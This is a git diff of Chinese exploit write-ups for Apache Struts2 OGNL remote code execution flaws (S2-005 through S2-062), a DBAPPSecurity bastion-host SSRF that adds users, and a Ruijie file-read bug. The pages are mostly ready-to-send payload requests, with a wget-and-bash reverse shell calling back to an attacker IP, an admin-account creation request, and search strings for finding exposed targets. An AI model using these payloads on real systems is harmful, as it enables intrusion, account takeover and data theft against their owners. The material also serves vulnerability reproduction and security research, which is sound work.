![image-20220302132552428](images/202203021325509.png) ![image-20220302132552428](images/202203021325509.png)
成功接收反弹shell 成功接收反弹 shell
![image-20220302132603933](images/202203021326024.png) ![image-20220302132603933](images/202203021326024.png)

View File

@ -1,4 +1,4 @@
# Struts2 S2-057 远程代码执行漏洞 CVE-2018-11776 # Apache Struts2 S2-057 远程代码执行漏洞 CVE-2018-11776
## 漏洞描述 ## 漏洞描述
@ -15,23 +15,23 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-057测试环境 Vulhub 执行以下命令启动 s2-057 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
启动环境后,访问`http://your-ip:8080/orders.xhtml`即可看到showcase页面。 启动环境后,访问 `http://your-ip:8080/orders.xhtml` 即可看到 showcase 页面。
## 漏洞复现 ## 漏洞复现
S2-057 需要以下条件: S2-057 需要以下条件:
- `alwaysSelectFullNamespace`为真 - `alwaysSelectFullNamespace` 为真
- 操作元素没有设置命名空间属性,或者使用通配符 - 操作元素没有设置命名空间属性,或者使用通配符
命名空间会被用户从uri传递过来解析为OGNL表达式最终导致远程代码执行漏洞。 命名空间会被用户从 uri 传递过来,解析为 OGNL 表达式,最终导致远程代码执行漏洞。
有效载荷: 有效载荷:
@ -41,57 +41,57 @@ http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
![image-20220302133213897](images/202203021332977.png) ![image-20220302133213897](images/202203021332977.png)
可以看到Location头中已经返回了233*233的结果。 可以看到 Location 头中已经返回了 233*233 的结果。
使用来自[S2-057 漏洞分析](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg)的有效Payload和 POC 使用来自 [S2-057 漏洞分析](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg) 的有效 Payload 和 POC
``` ```
${ ${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))} (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
``` ```
成功执行`id`命令: 成功执行 `id` 命令:
![image-20220302134417065](images/202203021344166.png) ![image-20220302134417065](images/202203021344166.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
GET /struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27wget%20192.168.174.128/shell.sh%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1 GET /struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27wget%20192.168.174.128/shell.sh%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
GET /struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20shell.sh%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1 GET /struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20shell.sh%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220302134534862](images/202203021345950.png) ![image-20220302134534862](images/202203021345950.png)
## 漏洞EXP ## 漏洞 EXP
### EXP 1 ### EXP 1
@ -548,4 +548,3 @@ if __name__ == "__main__":
print("Exiting...") print("Exiting...")
exit(0) exit(0)
``` ```

View File

@ -1,8 +1,8 @@
# Struts2 S2-059 远程代码执行漏洞 CVE-2019-0230 # Apache Struts2 S2-059 远程代码执行漏洞 CVE-2019-0230
## 漏洞描述 ## 漏洞描述
Apache Struts框架, 会对某些特定的标签的属性值比如id属性进行二次解析所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式造成OGNL表达式注入。从而可能造成远程执行代码。 Apache Struts 框架, 会对某些特定的标签的属性值,比如 id 属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的 OGNL 表达式,造成 OGNL 表达式注入。从而可能造成远程执行代码。
参考链接: 参考链接:
@ -15,24 +15,24 @@ Apache Struts框架, 会对某些特定的标签的属性值比如id属性进
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动Struts 2.5.16 s2-059测试环境 Vulhub 执行以下命令启动 Struts 2.5.16 s2-059 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
启动环境之后访问`http://your-ip:8080/?id=1` 就可以看到测试界面 启动环境之后访问 `http://your-ip:8080/?id=1` 就可以看到测试界面
## 漏洞复现 ## 漏洞复现
访问 `http://your-ip:8080/?id=%25%7B233*233%7D`可以发现233*233的结果被解析到了id属性中 访问 `http://your-ip:8080/?id=%25%7B233*233%7D`,可以发现 233*233 的结果被解析到了 id 属性中:
![image-20220302135315508](images/202203021353597.png) ![image-20220302135315508](images/202203021353597.png)
《[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc利用这个poc可以达到执行系统命令。 《[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776)》给出了绕过 struts2.5.16 版本的沙盒的 poc利用这个 poc 可以达到执行系统命令。
通过如下Python脚本复现漏洞 通过如下 Python 脚本复现漏洞:
```python ```python
import requests import requests
@ -50,31 +50,31 @@ res2 = requests.post(url, data=data2)
# print(res2.text) # print(res2.text)
``` ```
执行poc之后进入容器发现`touch /tmp/awesome_poc`已成功执行。 执行 poc 之后,进入容器发现 `touch /tmp/awesome_poc` 已成功执行。
![image-20220302135633547](images/202203021356602.png) ![image-20220302135633547](images/202203021356602.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220302135809119](images/202203021358216.png) ![image-20220302135809119](images/202203021358216.png)

View File

@ -1,8 +1,8 @@
# Struts2 S2-061 远程代码执行漏洞 CVE-2020-17530 # Apache Struts2 S2-061 远程代码执行漏洞 CVE-2020-17530
## 漏洞描述 ## 漏洞描述
S2-061是对S2-059的绕过Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒而S2-061绕过了该沙盒。 S2-061 是对 S2-059 的绕过Struts2 官方对 S2-059 的修复方式是加强 OGNL 表达式沙盒,而 S2-061 绕过了该沙盒。
参考链接: 参考链接:
@ -17,18 +17,18 @@ S2-061是对S2-059的绕过Struts2官方对S2-059的修复方式是加强OGNL
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-061测试环境 Vulhub 执行以下命令启动 s2-061 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境启动后,访问`http://your-ip:8080/index.action`查看到首页。 环境启动后,访问 `http://your-ip:8080/index.action` 查看到首页。
## 漏洞复现 ## 漏洞复现
发送如下数据包,即可执行`id`命令: 发送如下数据包,即可执行 `id` 命令:
``` ```
POST /index.action HTTP/1.1 POST /index.action HTTP/1.1
@ -48,26 +48,26 @@ Content-Disposition: form-data; name="id"
------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
``` ```
可见,`id`命令返回结果将直接显示在页面中: 可见,`id` 命令返回结果将直接显示在页面中:
![image-20220302141415253](images/202203021414376.png) ![image-20220302141415253](images/202203021414376.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
POST /index.action HTTP/1.1 POST /index.action HTTP/1.1
@ -87,13 +87,13 @@ Content-Disposition: form-data; name="id"
------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
POST /index.action HTTP/1.1 POST /index.action HTTP/1.1
@ -113,7 +113,6 @@ Content-Disposition: form-data; name="id"
------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220302141455009](images/202203021414092.png) ![image-20220302141455009](images/202203021414092.png)

View File

@ -0,0 +1,54 @@
# Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
## 漏洞描述
该漏洞由于对 CVE-2020-17530 的修复不完整造成的CVE-2020-17530 漏洞是由于 Struts2 会对某些标签属性 (比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 其中 x 的值用户可控时,用户再传入一个 `%{payload}` 即可造成 OGNL 表达式执行。在 CVE-2021-31805 漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的 OGNL 表达式执行,导致远程代码执行。
## 漏洞影响
```
Struts 2.0.0 - Struts 2.5.29
```
## 环境搭建
docker-compose.yml
```
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"
```
环境启动后,访问 `http://your-ip:8080/index.action` 查看到首页。
![](images/Apache%20Struts2%20S2-062%20远程代码执行漏洞%20CVE-2021-31805/image-20241217161107704.png)
## 漏洞复现
发送请求包
```php
POST / HTTP/1.1
Host: your-ip:8080
Content-Length: 829
Origin: http://your-ip:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1OyBby784sBXbcK9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Referer: http://your-ip:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en
------WebKitFormBoundary1OyBby784sBXbcK9
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary1OyBby784sBXbcK9--
```
![](images/Apache%20Struts2%20S2-062%20远程代码执行漏洞%20CVE-2021-31805/image-20241217165407787.png)

View File

@ -1,100 +0,0 @@
# Struts2 S2-005 远程代码执行漏洞
## 漏洞描述
参考吴翰清的《白帽子讲Web安全》一书。
> s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象struts框架通过过滤#字符防止安全问题然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制对于S2-003漏洞官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补但是安全配置被绕过再次导致了漏洞攻击者可以利用OGNL表达式将这2个选项打开S2-003的修补方案把自己上了一个锁但是把锁钥匙给插在了锁头上
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句
```
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
```
触发漏洞就是利用了这个点再配合OGNL的沙盒绕过方法组成了S2-003。官方对003的修复方法是增加了安全模式沙盒S2-005在OGNL表达式中将安全模式关闭又绕过了修复方法。整体过程如下
- S2-003 使用`\u0023`绕过s2对`#`的防御
- S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭继续执行代码
漏洞详情:
- http://struts.apache.org/docs/s2-005.html
## 漏洞影响
影响版本: 2.0.0 - 2.1.8.1
## 环境搭建
Vulhub执行以下命令启动s2-005测试环境
```
docker-compose build
docker-compose up -d
```
## 漏洞复现
执行任意命令POC无回显空格用`@`代替):
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/awesome_poc%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
```
![image-20220301161455042](images/202203011614123.png)
命令`touch /tmp/awesome_poc`成功执行:
![image-20220301161548594](images/202203011615639.png)
网上一些POC放到tomcat8下会返回400研究了一下发现字符`\``"`不能直接放path里需要urlencode编码以后再发送就好了。这个POC没回显。
POC用到了OGNL的Expression Evaluation
![](images/202203011611125.jpeg)
大概可以理解为,`(aaa)(bbb)`中aaa作为OGNL表达式字符串bbb作为该表达式的root对象所以一般aaa位置如果需要执行代码需要用引号包裹起来而bbb位置可以直接放置Java语句。`(aaa)(bbb)=true`实际上就是`aaa=true`。不过确切怎么理解,还需要深入研究,有待优化。
### 反弹shell
编写shell脚本并启动http服务器
```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80
```
上传shell.sh文件的命令为
```
wget 192.168.174.128/shell.sh
```
上传shell.sh文件的Payload为
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22wget@192.168.174.128/shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
```
执行shell.sh文件的命令为
```
bash /usr/local/tomcat/shell.sh
```
执行shell.sh文件的Payload为
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22bash@/usr/local/tomcat/shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
```
成功接收反弹shell
![image-20220301162511817](images/202203011625901.png)

View File

@ -1,47 +0,0 @@
# Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
## 漏洞描述
该漏洞由于对CVE-2020-17530的修复不完整造成的CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行导致远程代码执行。
## 漏洞影响
```
Struts 2.0.0 - Struts 2.5.29
```
## 环境搭建
```php
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-061
docker-compose up -d
```
## 漏洞复现
主页面
![img](images/202205131027608.png)
发送请求包
```php
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
```
![img](images/202205131027759.png)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 633 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 362 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 383 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 385 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 454 KiB

View File

@ -1,130 +1,130 @@
# 安恒 明御运维审计与风险控制系统 xmlrpc.sock 任意用户添加漏洞 # 安恒 明御运维审计与风险控制系统 xmlrpc.sock 任意用户添加漏洞
## 漏洞描述 ## 漏洞描述
安恒 明御运维审计与风险控制系统 xmlrpc.sock 接口存在SSRF漏洞通过漏洞可以添加任意用户控制堡垒机 安恒 明御运维审计与风险控制系统 xmlrpc.sock 接口存在SSRF漏洞通过漏洞可以添加任意用户控制堡垒机
## 漏洞影响 ## 漏洞影响
安恒 明御运维审计与风险控制系统 安恒 明御运维审计与风险控制系统
## 网络测绘 ## 网络测绘
``` ```
"明御运维审计与风险控制系统" "明御运维审计与风险控制系统"
``` ```
## 漏洞复现 ## 漏洞复现
登陆页面 登陆页面
![image-20230828163144773](images/image-20230828163144773.png) ![image-20230828163144773](images/image-20230828163144773.png)
验证POC 验证POC
``` ```
POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1 POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
Host: Host:
Cookie: LANG=zh; DBAPPUSM=ee4bbf6c85e541bb980ad4e0fbee2f57bb15bafe20a7028af9a0b8901cf80fd3 Cookie: LANG=zh; DBAPPUSM=ee4bbf6c85e541bb980ad4e0fbee2f57bb15bafe20a7028af9a0b8901cf80fd3
Content-Length: 1117 Content-Length: 1117
Cache-Control: max-age=0 Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100" Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1 Sec-Fetch-User: ?1
Sec-Fetch-Dest: document Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 Accept-Language: zh-CN,zh;q=0.9
Connection: close Connection: close
<?xml version="1.0"?> <?xml version="1.0"?>
<methodCall> <methodCall>
<methodName>web.user_add</methodName> <methodName>web.user_add</methodName>
<params> <params>
<param> <param>
<value> <value>
<array> <array>
<data> <data>
<value> <value>
<string>admin</string> <string>admin</string>
</value> </value>
<value> <value>
<string>5</string> <string>5</string>
</value> </value>
<value> <value>
<string>10.0.0.1</string> <string>10.0.0.1</string>
</value> </value>
</data> </data>
</array> </array>
</value> </value>
</param> </param>
<param> <param>
<value> <value>
<struct> <struct>
<member> <member>
<name>uname</name> <name>uname</name>
<value> <value>
<string>test</string> <string>test</string>
</value> </value>
</member> </member>
<member> <member>
<name>name</name> <name>name</name>
<value> <value>
<string>test</string> <string>test</string>
</value> </value>
</member> </member>
<member> <member>
<name>pwd</name> <name>pwd</name>
<value> <value>
<string>1qaz@3edC12345</string> <string>1qaz@3edC12345</string>
</value> </value>
</member> </member>
<member> <member>
<name>authmode</name> <name>authmode</name>
<value> <value>
<string>1</string> <string>1</string>
</value> </value>
</member> </member>
<member> <member>
<name>deptid</name> <name>deptid</name>
<value> <value>
<string></string> <string></string>
</value> </value>
</member> </member>
<member> <member>
<name>email</name> <name>email</name>
<value> <value>
<string></string> <string></string>
</value> </value>
</member> </member>
<member> <member>
<name>mobile</name> <name>mobile</name>
<value> <value>
<string></string> <string></string>
</value> </value>
</member> </member>
<member> <member>
<name>comment</name> <name>comment</name>
<value> <value>
<string></string> <string></string>
</value> </value>
</member> </member>
<member> <member>
<name>roleid</name> <name>roleid</name>
<value> <value>
<string>102</string> <string>102</string>
</value> </value>
</member> </member>
</struct></value> </struct></value>
</param> </param>
</params> </params>
</methodCall> </methodCall>
``` ```
![image-20230828163201512](images/image-20230828163201512.png) ![image-20230828163201512](images/image-20230828163201512.png)

View File

@ -1,29 +1,29 @@
# 锐捷 校园网自助服务系统 login_judge.jsf 任意文件读取漏洞 # 锐捷 校园网自助服务系统 login_judge.jsf 任意文件读取漏洞
## 漏洞描述 ## 漏洞描述
锐捷 校园网自助服务系统 login_judge.jsf 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感文件 锐捷 校园网自助服务系统 login_judge.jsf 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感文件
## 漏洞影响 ## 漏洞影响
锐捷 校园网自助服务系统 锐捷 校园网自助服务系统
## 网络测绘 ## 网络测绘
``` ```
body="校园网自助服务系统" body="校园网自助服务系统"
``` ```
## 漏洞复现 ## 漏洞复现
登陆页面 登陆页面
![image-20231116142459917](images/image-20231116142459917.png) ![image-20231116142459917](images/image-20231116142459917.png)
poc poc
``` ```
/selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=./WEB-INF/web.xml%3F /selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=./WEB-INF/web.xml%3F
``` ```
![image-20231116142521368](images/image-20231116142521368.png) ![image-20231116142521368](images/image-20231116142521368.png)